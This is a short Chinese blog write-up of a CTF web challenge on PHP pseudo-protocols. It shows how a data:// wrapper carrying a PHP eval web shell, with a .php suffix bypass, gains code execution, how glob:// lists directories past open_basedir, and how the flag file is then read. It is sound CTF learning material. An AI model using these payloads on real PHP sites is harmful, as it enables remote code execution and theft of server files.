GXUCTF easy-伪协议
题目直接给出了源码
一些新东西👇 open_basedir:将php所能打开的文件限制在指定的目录树中 pathinfo():以数组的形式返回关于文件路径的信息(PATHINFO_DIRNAME - 只返回 dirname; PATHINFO_BASENAME - 只返回 basename; PATHINFO_EXTENSION - 只返回 extension; PATHINFO_FILENAME - 只返回 filename)
首先对$text进行了匹配,要求是字符串"how_to_bypass?",可以利用伪协议进行写入 data://text/plain,how_to_bypass?
继续对$file传入参数的后缀进行了检查,如果是php就进行文件包含,这里的绕过只需要在最后加一个.php就可以,很easy~
剩下的问题就是进行flag文件的读取了,现在我们是不知道flag所在文件的名称和路径的,我试着读了一下当前目录下的flag.php..失败了
这里看了大佬的博客,学到了新的知识=>利用glob://伪协议进行目录遍历是可以无视open_basedir的
$file=data://text/plain,<?php @eval($_REQUEST[1]);?>.php&1=var_dump(scandir('glob:///*'));
其实open_basedir对解这道题并没啥影响,flag文件就在当前目录下,所有直接用scandir('.')就能看到
得到文件名后就可以进行读取了,可以file_get_contents直接读 $file=data://text/plain,<?php @eval($_REQUEST[1]);?>.php&1=echo file_get_contents('fll11llaaaggg.php');
我真的是个憨批..这里读出的flag在源码里,我还以为没读到来回搞了好久,最后去问了出题人..给自己一锤😢
或者php://filter读取
解码得到flag
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!